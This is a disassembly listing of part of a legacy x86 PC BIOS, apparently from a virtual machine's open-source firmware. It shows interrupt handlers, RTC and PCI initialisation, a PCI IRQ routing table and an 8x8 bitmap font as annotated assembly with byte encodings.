shr al, 1 ; d0 e8
shr al, 1 ; d0 e8
shr al, 1 ; d0 e8
je short 0ed8ch ; 74 04
mov BL, strict byte 007h ; b3 07
jmp short 0ed8eh ; eb 02
mov BL, strict byte 000h ; b3 00
db 08ah, 0c4h
; mov al, ah ; 8a c4
and AL, strict byte 00fh ; 24 0f
je short 0ed97h ; 74 03
or bl, 070h ; 80 cb 70
mov byte [0048fh], bl ; 88 1e 8f 04
mov AL, strict byte 000h ; b0 00
mov byte [00490h], AL ; a2 90 04
mov byte [00491h], AL ; a2 91 04
mov byte [00492h], AL ; a2 92 04
mov byte [00493h], AL ; a2 93 04
mov byte [00494h], AL ; a2 94 04
mov byte [00495h], AL ; a2 95 04
mov AL, strict byte 002h ; b0 02
out strict byte 00ah, AL ; e6 0a
mov ax, 0efc7h ; b8 c7 ef
mov word [00078h], ax ; a3 78 00
mov ax, 0f000h ; b8 00 f0
mov word [0007ah], ax ; a3 7a 00
mov ax, 0ec59h ; b8 59 ec
mov word [00100h], ax ; a3 00 01
mov ax, 0f000h ; b8 00 f0
mov word [00102h], ax ; a3 02 01
mov ax, 0ef57h ; b8 57 ef
mov word [00038h], ax ; a3 38 00
mov ax, 0f000h ; b8 00 f0
mov word [0003ah], ax ; a3 3a 00
retn ; c3
bcd_to_bin: ; 0xfedd8 LB 0xb
push cx ; 51
mov CL, strict byte 004h ; b1 04
sal ax, CL ; d3 e0
shr al, CL ; d2 e8
pop cx ; 59
aad 00ah ; d5 0a
retn ; c3
rtc_post: ; 0xfede3 LB 0x5a
mov AL, strict byte 000h ; b0 00
out strict byte 070h, AL ; e6 70
in AL, strict byte 071h ; e4 71
call 0edd8h ; e8 ec ff
test al, al ; 84 c0
db 032h, 0e4h
; xor ah, ah ; 32 e4
mov dx, 01234h ; ba 34 12
mul dx ; f7 e2
db 08bh, 0c8h
; mov cx, ax ; 8b c8
mov AL, strict byte 002h ; b0 02
out strict byte 070h, AL ; e6 70
in AL, strict byte 071h ; e4 71
call 0edd8h ; e8 d8 ff
test al, al ; 84 c0
je short 0ee0fh ; 74 0b
add cx, 04463h ; 81 c1 63 44
adc dx, strict byte 00004h ; 83 d2 04
db 0feh, 0c8h
; dec al ; fe c8
jne short 0ee04h ; 75 f5
mov AL, strict byte 004h ; b0 04
out strict byte 070h, AL ; e6 70
in AL, strict byte 071h ; e4 71
call 0edd8h ; e8 c0 ff
test al, al ; 84 c0
je short 0ee28h ; 74 0c
add cx, 0076ch ; 81 c1 6c 07
adc dx, 00100h ; 81 d2 00 01
db 0feh, 0c8h
; dec al ; fe c8
jne short 0ee1ch ; 75 f4
db 08ah, 0cdh
; mov cl, ch ; 8a cd
db 08ah, 0eah
; mov ch, dl ; 8a ea
db 08ah, 0d6h
; mov dl, dh ; 8a d6
db 032h, 0f6h
; xor dh, dh ; 32 f6
mov word [0046ch], cx ; 89 0e 6c 04
mov word [0046eh], dx ; 89 16 6e 04
mov byte [00470h], dh ; 88 36 70 04
retn ; c3
biosorg_check_before_or_at_0EF55h: ; 0xfee3d LB 0x11a
times 0x118 db 0
db 'XM'
int0e_handler: ; 0xfef57 LB 0x3b
push ax ; 50
push dx ; 52
mov dx, 003f4h ; ba f4 03
in AL, DX ; ec
and AL, strict byte 0c0h ; 24 c0
cmp AL, strict byte 0c0h ; 3c c0
je short 0ef81h ; 74 1e
mov dx, 003f5h ; ba f5 03
mov AL, strict byte 008h ; b0 08
out DX, AL ; ee
mov dx, 003f4h ; ba f4 03
in AL, DX ; ec
and AL, strict byte 0c0h ; 24 c0
cmp AL, strict byte 0c0h ; 3c c0
jne short 0ef69h ; 75 f6
mov dx, 003f5h ; ba f5 03
in AL, DX ; ec
mov dx, 003f4h ; ba f4 03
in AL, DX ; ec
and AL, strict byte 0c0h ; 24 c0
cmp AL, strict byte 0c0h ; 3c c0
je short 0ef73h ; 74 f2
push DS ; 1e
db 033h, 0c0h
; xor ax, ax ; 33 c0
mov ds, ax ; 8e d8
call 0e034h ; e8 ab f0
or byte [0043eh], 080h ; 80 0e 3e 04 80
pop DS ; 1f
pop dx ; 5a
pop ax ; 58
iret ; cf
biosorg_check_before_or_at_0EFC5h: ; 0xfef92 LB 0x35
times 0x33 db 0
db 'XM'
_diskette_param_table: ; 0xfefc7 LB 0xb
scasw ; af
add ah, byte [di] ; 02 25
add dl, byte [bp+si] ; 02 12
db 01bh, 0ffh
; sbb di, di ; 1b ff
insb ; 6c
db 0f6h
invd ; 0f 08
biosorg_check_at_0EFD2h: ; 0xfefd2 LB 0x2
jmp short 0efd4h ; eb 00
int17_handler: ; 0xfefd4 LB 0x1b
push DS ; 1e
push ES ; 06
push ax ; 50
push cx ; 51
push dx ; 52
push bx ; 53
push sp ; 54
push bp ; 55
push si ; 56
push di ; 57
push CS ; 0e
pop DS ; 1f
cld ; fc
call 078e4h ; e8 00 89
pop di ; 5f
pop si ; 5e
pop bp ; 5d
pop bx ; 5b
pop bx ; 5b
pop dx ; 5a
pop cx ; 59
pop ax ; 58
pop ES ; 07
pop DS ; 1f
iret ; cf
_pmode_IDT: ; 0xfefef LB 0x6
db 000h, 000h, 000h, 000h, 00fh, 000h
_rmode_IDT: ; 0xfeff5 LB 0x6
db 0ffh, 003h, 000h, 000h, 000h, 000h
int1c_handler: ; 0xfeffb LB 0x1
iret ; cf
biosorg_check_before_or_at_0F043h: ; 0xfeffc LB 0x49
times 0x47 db 0
db 'XM'
biosorg_check_at_0F045h: ; 0xff045 LB 0x1
iret ; cf
biosorg_check_before_or_at_0F063h: ; 0xff046 LB 0x1f
times 0x1d db 0
db 'XM'
int10_handler: ; 0xff065 LB 0x1
iret ; cf
biosorg_check_before_or_at_0F0A2h: ; 0xff066 LB 0x3e
times 0x3c db 0
db 'XM'
biosorg_check_at_0F0A4h: ; 0xff0a4 LB 0x8
push CS ; 0e
pop DS ; 1f
cld ; fc
call 01760h ; e8 b6 26
hlt ; f4
iret ; cf
int19_relocated: ; 0xff0ac LB 0x95
db 08bh, 0ech
; mov bp, sp ; 8b ec
mov ax, word [bp+002h] ; 8b 46 02
cmp ax, 0f000h ; 3d 00 f0
je short 0f0c3h ; 74 0d
db 033h, 0c0h
; xor ax, ax ; 33 c0
mov ds, ax ; 8e d8
mov ax, 01234h ; b8 34 12
mov word [001d8h], ax ; a3 d8 01
jmp near 0e05bh ; e9 98 ef
push CS ; 0e
pop DS ; 1f
cld ; fc
push bp ; 55
db 08bh, 0ech
; mov bp, sp ; 8b ec
mov ax, strict word 00001h ; b8 01 00
push ax ; 50
call 04d99h ; e8 c9 5c
inc sp ; 44
inc sp ; 44
test ax, ax ; 85 c0
jne short 0f0fdh ; 75 27
mov ax, strict word 00002h ; b8 02 00
push ax ; 50
call 04d99h ; e8 bc 5c
inc sp ; 44
inc sp ; 44
test ax, ax ; 85 c0
jne short 0f0fdh ; 75 1a
mov ax, strict word 00003h ; b8 03 00
push ax ; 50
call 04d99h ; e8 af 5c
inc sp ; 44
inc sp ; 44
test ax, ax ; 85 c0
jne short 0f0fdh ; 75 0d
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 04d99h ; e8 a2 5c
inc sp ; 44
inc sp ; 44
test ax, ax ; 85 c0
je short 0f0a4h ; 74 a7
mov word [byte bp+000h], ax ; 89 46 00
sal ax, 1 ; d1 e0
sal ax, 1 ; d1 e0
sal ax, 1 ; d1 e0
sal ax, 1 ; d1 e0
mov word [bp+002h], ax ; 89 46 02
mov ax, word [byte bp+000h] ; 8b 46 00
and ax, 0f000h ; 25 00 f0
mov word [bp+004h], ax ; 89 46 04
db 033h, 0c0h
; xor ax, ax ; 33 c0
mov ds, ax ; 8e d8
mov es, ax ; 8e c0
mov word [byte bp+000h], ax ; 89 46 00
mov ax, 0aa55h ; b8 55 aa
pop bp ; 5d
iret ; cf
or cx, word [bp+si] ; 0b 0a
or word [bp+di], cx ; 09 0b
push eax ; 66 50
mov eax, strict dword 000800000h ; 66 b8 00 00 80 00
db 08bh, 0c3h
; mov ax, bx ; 8b c3
sal eax, 008h ; 66 c1 e0 08
and dl, 0fch ; 80 e2 fc
db 00ah, 0c2h
; or al, dl ; 0a c2
mov dx, 00cf8h ; ba f8 0c
out DX, eax ; 66 ef
pop eax ; 66 58
retn ; c3
pcibios_init_iomem_bases: ; 0xff141 LB 0x12
push bp ; 55
db 08bh, 0ech
; mov bp, sp ; 8b ec
mov eax, strict dword 00124f9fdh ; 66 b8 fd f9 24 01
mov dx, 00410h ; ba 10 04
out DX, eax ; 66 ef
db 08bh, 0e5h
; mov sp, bp ; 8b e5
pop bp ; 5d
retn ; c3
pcibios_init_set_elcr: ; 0xff153 LB 0xc
push ax ; 50
push cx ; 51
mov dx, 004d0h ; ba d0 04
test AL, strict byte 008h ; a8 08
je short 0f15fh ; 74 03
inc dx ; 42
and AL, strict byte 007h ; 24 07
is_master_pic: ; 0xff15f LB 0xd
db 08ah, 0c8h
; mov cl, al ; 8a c8
mov BL, strict byte 001h ; b3 01
sal bl, CL ; d2 e3
in AL, DX ; ec
db 00ah, 0c3h
; or al, bl ; 0a c3
out DX, AL ; ee
pop cx ; 59
pop ax ; 58
retn ; c3
pcibios_init_irqs: ; 0xff16c LB 0x34
push DS ; 1e
push bp ; 55
mov ax, 0f000h ; b8 00 f0
mov ds, ax ; 8e d8
pop bp ; 5d
pop DS ; 1f
retn ; c3
mov ax, ax ; 89 c0
mov ax, ax ; 89 c0
mov ax, ax ; 89 c0
mov ax, ax ; 89 c0
mov ax, ax ; 89 c0
and AL, strict byte 050h ; 24 50
dec cx ; 49
push dx ; 52
add byte [bx+di], al ; 00 01
add byte [bp+si], al ; 00 02
add byte [bx+si], cl ; 00 08
add byte [bx+si], al ; 00 00
xchg byte [bx+si+07000h], al ; 86 80 00 70
times 0xf db 0
db 031h
_pci_routing_table: ; 0xff1a0 LB 0x1e0
db 000h, 008h, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 000h, 000h
db 000h, 010h, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 001h, 000h
db 000h, 018h, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 002h, 000h
db 000h, 020h, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 003h, 000h
db 000h, 028h, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 004h, 000h
db 000h, 030h, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 005h, 000h
db 000h, 038h, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 006h, 000h
db 000h, 040h, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 007h, 000h
db 000h, 048h, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 008h, 000h
db 000h, 050h, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 009h, 000h
db 000h, 058h, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 00ah, 000h
db 000h, 060h, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 00bh, 000h
db 000h, 068h, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 00ch, 000h
db 000h, 070h, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 00dh, 000h
db 000h, 078h, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 00eh, 000h
db 000h, 080h, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 00fh, 000h
db 000h, 088h, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 010h, 000h
db 000h, 090h, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 011h, 000h
db 000h, 098h, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 012h, 000h
db 000h, 0a0h, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 013h, 000h
db 000h, 0a8h, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 014h, 000h
db 000h, 0b0h, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 015h, 000h
db 000h, 0b8h, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 016h, 000h
db 000h, 0c0h, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 017h, 000h
db 000h, 0c8h, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 018h, 000h
db 000h, 0d0h, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 019h, 000h
db 000h, 0d8h, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 01ah, 000h
db 000h, 0e0h, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 01bh, 000h
db 000h, 0e8h, 060h, 0f8h, 0deh, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 01ch, 000h
db 000h, 0f0h, 061h, 0f8h, 0deh, 062h, 0f8h, 0deh, 063h, 0f8h, 0deh, 060h, 0f8h, 0deh, 01dh, 000h
_pci_routing_table_size: ; 0xff380 LB 0x2
loopne 0f383h ; e0 01
biosorg_check_before_or_at_0F83Fh: ; 0xff382 LB 0x4bf
times 0x4bd db 0
db 'XM'
int12_handler: ; 0xff841 LB 0xc
sti ; fb
push DS ; 1e
mov ax, strict word 00040h ; b8 40 00
mov ds, ax ; 8e d8
mov ax, word [00013h] ; a1 13 00
pop DS ; 1f
iret ; cf
int11_handler: ; 0xff84d LB 0xc
sti ; fb
push DS ; 1e
mov ax, strict word 00040h ; b8 40 00
mov ds, ax ; 8e d8
mov ax, word [00010h] ; a1 10 00
pop DS ; 1f
iret ; cf
int15_handler: ; 0xff859 LB 0x3c
pushfw ; 9c
push DS ; 1e
push ES ; 06
push CS ; 0e
pop DS ; 1f
cld ; fc
cmp ah, 086h ; 80 fc 86
je short 0f89ah ; 74 36
cmp ah, 0e8h ; 80 fc e8
je short 0f89ah ; 74 31
cmp ah, 0d0h ; 80 fc d0
je short 0f89ah ; 74 2c
push ax ; 50
push cx ; 51
push dx ; 52
push bx ; 53
push sp ; 54
push bp ; 55
push si ; 56
push di ; 57
cmp ah, 053h ; 80 fc 53
je short 0f890h ; 74 15
cmp ah, 0c2h ; 80 fc c2
je short 0f895h ; 74 15
call 06856h ; e8 d3 6f
pop di ; 5f
pop si ; 5e
pop bp ; 5d
pop bx ; 5b
pop bx ; 5b
pop dx ; 5a
pop cx ; 59
pop ax ; 58
pop ES ; 07
pop DS ; 1f
popfw ; 9d
jmp short 0f8afh ; eb 1f
call 09bb6h ; e8 23 a3
jmp short 0f883h ; eb ee
int15_handler_mouse: ; 0xff895 LB 0x5
call 07544h ; e8 ac 7c
jmp short 0f883h ; eb e9
int15_handler32: ; 0xff89a LB 0x15
push ax ; 50
push cx ; 51
push dx ; 52
push bx ; 53
push sp ; 54
push bp ; 55
push si ; 56
push di ; 57
call 06b99h ; e8 f4 72
pop di ; 5f
pop si ; 5e
pop bp ; 5d
pop bx ; 5b
pop bx ; 5b
pop dx ; 5a
pop cx ; 59
pop ax ; 58
jmp short 0f88bh ; eb dc
iret_modify_cf: ; 0xff8af LB 0x1a
jc short 0f8bfh ; 72 0e
push bp ; 55
db 08bh, 0ech
; mov bp, sp ; 8b ec
and byte [bp+006h], 0feh ; 80 66 06 fe
or word [bp+006h], 00200h ; 81 4e 06 00 02
pop bp ; 5d
iret ; cf
push bp ; 55
db 08bh, 0ech
; mov bp, sp ; 8b ec
or word [bp+006h], 00201h ; 81 4e 06 01 02
pop bp ; 5d
iret ; cf
int74_handler: ; 0xff8c9 LB 0x3a
sti ; fb
push ax ; 50
push cx ; 51
push dx ; 52
push bx ; 53
push sp ; 54
push bp ; 55
push si ; 56
push di ; 57
push ES ; 06
push DS ; 1e
db 033h, 0c0h
; xor ax, ax ; 33 c0
push ax ; 50
push ax ; 50
push ax ; 50
push ax ; 50
push ax ; 50
push CS ; 0e
pop DS ; 1f
cld ; fc
call 07472h ; e8 91 7b
pop cx ; 59
jcxz 0f8f1h ; e3 0d
db 033h, 0c0h
; xor ax, ax ; 33 c0
push ax ; 50
pop DS ; 1f
push word [0040eh] ; ff 36 0e 04
pop DS ; 1f
call far [word 00022h] ; ff 1e 22 00
cli ; fa
call 0e030h ; e8 3b e7
add sp, strict byte 00008h ; 83 c4 08
pop DS ; 1f
pop ES ; 07
pop di ; 5f
pop si ; 5e
pop bp ; 5d
pop bx ; 5b
pop bx ; 5b
pop dx ; 5a
pop cx ; 59
pop ax ; 58
iret ; cf
int76_handler: ; 0xff903 LB 0x12
push ax ; 50
push DS ; 1e
mov ax, strict word 00040h ; b8 40 00
mov ds, ax ; 8e d8
mov byte [0008eh], 0ffh ; c6 06 8e 00 ff
call 0e030h ; e8 1e e7
pop DS ; 1f
pop ax ; 58
iret ; cf
int70_handler: ; 0xff915 LB 0x2d
push ES ; 06
push DS ; 1e
push ax ; 50
push cx ; 51
push dx ; 52
push bx ; 53
push sp ; 54
push bp ; 55
push si ; 56
push di ; 57
push CS ; 0e
pop DS ; 1f
cld ; fc
call 0710fh ; e8 ea 77
pop di ; 5f
pop si ; 5e
pop bp ; 5d
pop bx ; 5b
pop bx ; 5b
pop dx ; 5a
pop cx ; 59
pop ax ; 58
pop DS ; 1f
pop ES ; 07
iret ; cf
jnbe short 0f937h ; 77 05
cmp ax, 000b0h ; 3d b0 00
jc short 0f93fh ; 72 08
db 033h, 0d2h
; xor dx, dx ; 33 d2
db 033h, 0c0h
; xor ax, ax ; 33 c0
inc byte [word 00070h] ; fe 06 70 00
jmp near 0fec1h ; e9 7f 05
biosorg_check_before_or_at_0FA6Ch: ; 0xff942 LB 0x12c
times 0x12a db 0
db 'XM'
font8x8: ; 0xffa6e LB 0x400
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07eh, 081h, 0a5h, 081h, 0bdh, 099h, 081h, 07eh
db 07eh, 0ffh, 0dbh, 0ffh, 0c3h, 0e7h, 0ffh, 07eh, 06ch, 0feh, 0feh, 0feh, 07ch, 038h, 010h, 000h
db 010h, 038h, 07ch, 0feh, 07ch, 038h, 010h, 000h, 038h, 07ch, 038h, 0feh, 0feh, 07ch, 038h, 07ch
db 010h, 010h, 038h, 07ch, 0feh, 07ch, 038h, 07ch, 000h, 000h, 018h, 03ch, 03ch, 018h, 000h, 000h
db 0ffh, 0ffh, 0e7h, 0c3h, 0c3h, 0e7h, 0ffh, 0ffh, 000h, 03ch, 066h, 042h, 042h, 066h, 03ch, 000h
db 0ffh, 0c3h, 099h, 0bdh, 0bdh, 099h, 0c3h, 0ffh, 00fh, 007h, 00fh, 07dh, 0cch, 0cch, 0cch, 078h
db 03ch, 066h, 066h, 066h, 03ch, 018h, 07eh, 018h, 03fh, 033h, 03fh, 030h, 030h, 070h, 0f0h, 0e0h
db 07fh, 063h, 07fh, 063h, 063h, 067h, 0e6h, 0c0h, 099h, 05ah, 03ch, 0e7h, 0e7h, 03ch, 05ah, 099h
db 080h, 0e0h, 0f8h, 0feh, 0f8h, 0e0h, 080h, 000h, 002h, 00eh, 03eh, 0feh, 03eh, 00eh, 002h, 000h
db 018h, 03ch, 07eh, 018h, 018h, 07eh, 03ch, 018h, 066h, 066h, 066h, 066h, 066h, 000h, 066h, 000h
db 07fh, 0dbh, 0dbh, 07bh, 01bh, 01bh, 01bh, 000h, 03eh, 063h, 038h, 06ch, 06ch, 038h, 0cch, 078h
db 000h, 000h, 000h, 000h, 07eh, 07eh, 07eh, 000h, 018h, 03ch, 07eh, 018h, 07eh, 03ch, 018h, 0ffh
db 018h, 03ch, 07eh, 018h, 018h, 018h, 018h, 000h, 018h, 018h, 018h, 018h, 07eh, 03ch, 018h, 000h
db 000h, 018h, 00ch, 0feh, 00ch, 018h, 000h, 000h, 000h, 030h, 060h, 0feh, 060h, 030h, 000h, 000h
db 000h, 000h, 0c0h, 0c0h, 0c0h, 0feh, 000h, 000h, 000h, 024h, 066h, 0ffh, 066h, 024h, 000h, 000h
db 000h, 018h, 03ch, 07eh, 0ffh, 0ffh, 000h, 000h, 000h, 0ffh, 0ffh, 07eh, 03ch, 018h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 030h, 078h, 078h, 030h, 030h, 000h, 030h, 000h
db 06ch, 06ch, 06ch, 000h, 000h, 000h, 000h, 000h, 06ch, 06ch, 0feh, 06ch, 0feh, 06ch, 06ch, 000h
db 030h, 07ch, 0c0h, 078h, 00ch, 0f8h, 030h, 000h, 000h, 0c6h, 0cch, 018h, 030h, 066h, 0c6h, 000h
db 038h, 06ch, 038h, 076h, 0dch, 0cch, 076h, 000h, 060h, 060h, 0c0h, 000h, 000h, 000h, 000h, 000h
db 018h, 030h, 060h, 060h, 060h, 030h, 018h, 000h, 060h, 030h, 018h, 018h, 018h, 030h, 060h, 000h
db 000h, 066h, 03ch, 0ffh, 03ch, 066h, 000h, 000h, 000h, 030h, 030h, 0fch, 030h, 030h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 030h, 030h, 060h, 000h, 000h, 000h, 0fch, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 030h, 030h, 000h, 006h, 00ch, 018h, 030h, 060h, 0c0h, 080h, 000h
db 07ch, 0c6h, 0ceh, 0deh, 0f6h, 0e6h, 07ch, 000h, 030h, 070h, 030h, 030h, 030h, 030h, 0fch, 000h
db 078h, 0cch, 00ch, 038h, 060h, 0cch, 0fch, 000h, 078h, 0cch, 00ch, 038h, 00ch, 0cch, 078h, 000h
db 01ch, 03ch, 06ch, 0cch, 0feh, 00ch, 01eh, 000h, 0fch, 0c0h, 0f8h, 00ch, 00ch, 0cch, 078h, 000h
db 038h, 060h, 0c0h, 0f8h, 0cch, 0cch, 078h, 000h, 0fch, 0cch, 00ch, 018h, 030h, 030h, 030h, 000h
db 078h, 0cch, 0cch, 078h, 0cch, 0cch, 078h, 000h, 078h, 0cch, 0cch, 07ch, 00ch, 018h, 070h, 000h
db 000h, 030h, 030h, 000h, 000h, 030h, 030h, 000h, 000h, 030h, 030h, 000h, 000h, 030h, 030h, 060h
db 018h, 030h, 060h, 0c0h, 060h, 030h, 018h, 000h, 000h, 000h, 0fch, 000h, 000h, 0fch, 000h, 000h
db 060h, 030h, 018h, 00ch, 018h, 030h, 060h, 000h, 078h, 0cch, 00ch, 018h, 030h, 000h, 030h, 000h
db 07ch, 0c6h, 0deh, 0deh, 0deh, 0c0h, 078h, 000h, 030h, 078h, 0cch, 0cch, 0fch, 0cch, 0cch, 000h
db 0fch, 066h, 066h, 07ch, 066h, 066h, 0fch, 000h, 03ch, 066h, 0c0h, 0c0h, 0c0h, 066h, 03ch, 000h
db 0f8h, 06ch, 066h, 066h, 066h, 06ch, 0f8h, 000h, 0feh, 062h, 068h, 078h, 068h, 062h, 0feh, 000h
db 0feh, 062h, 068h, 078h, 068h, 060h, 0f0h, 000h, 03ch, 066h, 0c0h, 0c0h, 0ceh, 066h, 03eh, 000h
db 0cch, 0cch, 0cch, 0fch, 0cch, 0cch, 0cch, 000h, 078h, 030h, 030h, 030h, 030h, 030h, 078h, 000h
db 01eh, 00ch, 00ch, 00ch, 0cch, 0cch, 078h, 000h, 0e6h, 066h, 06ch, 078h, 06ch, 066h, 0e6h, 000h
db 0f0h, 060h, 060h, 060h, 062h, 066h, 0feh, 000h, 0c6h, 0eeh, 0feh, 0feh, 0d6h, 0c6h, 0c6h, 000h
db 0c6h, 0e6h, 0f6h, 0deh, 0ceh, 0c6h, 0c6h, 000h, 038h, 06ch, 0c6h, 0c6h, 0c6h, 06ch, 038h, 000h
db 0fch, 066h, 066h, 07ch, 060h, 060h, 0f0h, 000h, 078h, 0cch, 0cch, 0cch, 0dch, 078h, 01ch, 000h
db 0fch, 066h, 066h, 07ch, 06ch, 066h, 0e6h, 000h, 078h, 0cch, 0e0h, 070h, 01ch, 0cch, 078h, 000h
db 0fch, 0b4h, 030h, 030h, 030h, 030h, 078h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 0fch, 000h
db 0cch, 0cch, 0cch, 0cch, 0cch, 078h, 030h, 000h, 0c6h, 0c6h, 0c6h, 0d6h, 0feh, 0eeh, 0c6h, 000h
db 0c6h, 0c6h, 06ch, 038h, 038h, 06ch, 0c6h, 000h, 0cch, 0cch, 0cch, 078h, 030h, 030h, 078h, 000h
db 0feh, 0c6h, 08ch, 018h, 032h, 066h, 0feh, 000h, 078h, 060h, 060h, 060h, 060h, 060h, 078h, 000h
db 0c0h, 060h, 030h, 018h, 00ch, 006h, 002h, 000h, 078h, 018h, 018h, 018h, 018h, 018h, 078h, 000h
db 010h, 038h, 06ch, 0c6h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh
db 030h, 030h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 078h, 00ch, 07ch, 0cch, 076h, 000h
db 0e0h, 060h, 060h, 07ch, 066h, 066h, 0dch, 000h, 000h, 000h, 078h, 0cch, 0c0h, 0cch, 078h, 000h
db 01ch, 00ch, 00ch, 07ch, 0cch, 0cch, 076h, 000h, 000h, 000h, 078h, 0cch, 0fch, 0c0h, 078h, 000h
db 038h, 06ch, 060h, 0f0h, 060h, 060h, 0f0h, 000h, 000h, 000h, 076h, 0cch, 0cch, 07ch, 00ch, 0f8h
db 0e0h, 060h, 06ch, 076h, 066h, 066h, 0e6h, 000h, 030h, 000h, 070h, 030h, 030h, 030h, 078h, 000h
db 00ch, 000h, 00ch, 00ch, 00ch, 0cch, 0cch, 078h, 0e0h, 060h, 066h, 06ch, 078h, 06ch, 0e6h, 000h
db 070h, 030h, 030h, 030h, 030h, 030h, 078h, 000h, 000h, 000h, 0cch, 0feh, 0feh, 0d6h, 0c6h, 000h
db 000h, 000h, 0f8h, 0cch, 0cch, 0cch, 0cch, 000h, 000h, 000h, 078h, 0cch, 0cch, 0cch, 078h, 000h
db 000h, 000h, 0dch, 066h, 066h, 07ch, 060h, 0f0h, 000h, 000h, 076h, 0cch, 0cch, 07ch, 00ch, 01eh
db 000h, 000h, 0dch, 076h, 066h, 060h, 0f0h, 000h, 000h, 000h, 07ch, 0c0h, 078h, 00ch, 0f8h, 000h
db 010h, 030h, 07ch, 030h, 030h, 034h, 018h, 000h, 000h, 000h, 0cch, 0cch, 0cch, 0cch, 076h, 000h
db 000h, 000h, 0cch, 0cch, 0cch, 078h, 030h, 000h, 000h, 000h, 0c6h, 0d6h, 0feh, 0feh, 06ch, 000h
db 000h, 000h, 0c6h, 06ch, 038h, 06ch, 0c6h, 000h, 000h, 000h, 0cch, 0cch, 0cch, 07ch, 00ch, 0f8h
db 000h, 000h, 0fch, 098h, 030h, 064h, 0fch, 000h, 01ch, 030h, 030h, 0e0h, 030h, 030h, 01ch, 000h
db 018h, 018h, 018h, 000h, 018h, 018h, 018h, 000h, 0e0h, 030h, 030h, 01ch, 030h, 030h, 0e0h, 000h
db 076h, 0dch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 000h
biosorg_check_at_0FE6Eh: ; 0xffe6e LB 0x1b
push ES ; 06
push DS ; 1e
push ax ; 50
push cx ; 51
push dx ; 52
push bx ; 53
push sp ; 54
push bp ; 55
push si ; 56
push di ; 57
push CS ; 0e
pop DS ; 1f
cld ; fc
call 071ceh ; e8 50 73
pop di ; 5f
pop si ; 5e
pop bp ; 5d
pop bx ; 5b
pop bx ; 5b
pop dx ; 5a
pop cx ; 59
pop ax ; 58
pop DS ; 1f
pop ES ; 07
iret ; cf
biosorg_check_before_or_at_0FEA3h: ; 0xffe89 LB 0x1c
times 0x1a db 0
db 'XM'
int08_handler: ; 0xffea5 LB 0x42
sti ; fb
push ax ; 50
push DS ; 1e
push dx ; 52
mov ax, strict word 00040h ; b8 40 00
mov ds, ax ; 8e d8
mov ax, word [0006ch] ; a1 6c 00
mov dx, word [word 0006eh] ; 8b 16 6e 00
inc ax ; 40
jne short 0feb9h ; 75 01
inc dx ; 42
cmp dx, strict byte 00018h ; 83 fa 18
jc short 0fec1h ; 72 03
jmp near 0f930h ; e9 6f fa
mov word [0006ch], ax ; a3 6c 00
mov word [word 0006eh], dx ; 89 16 6e 00
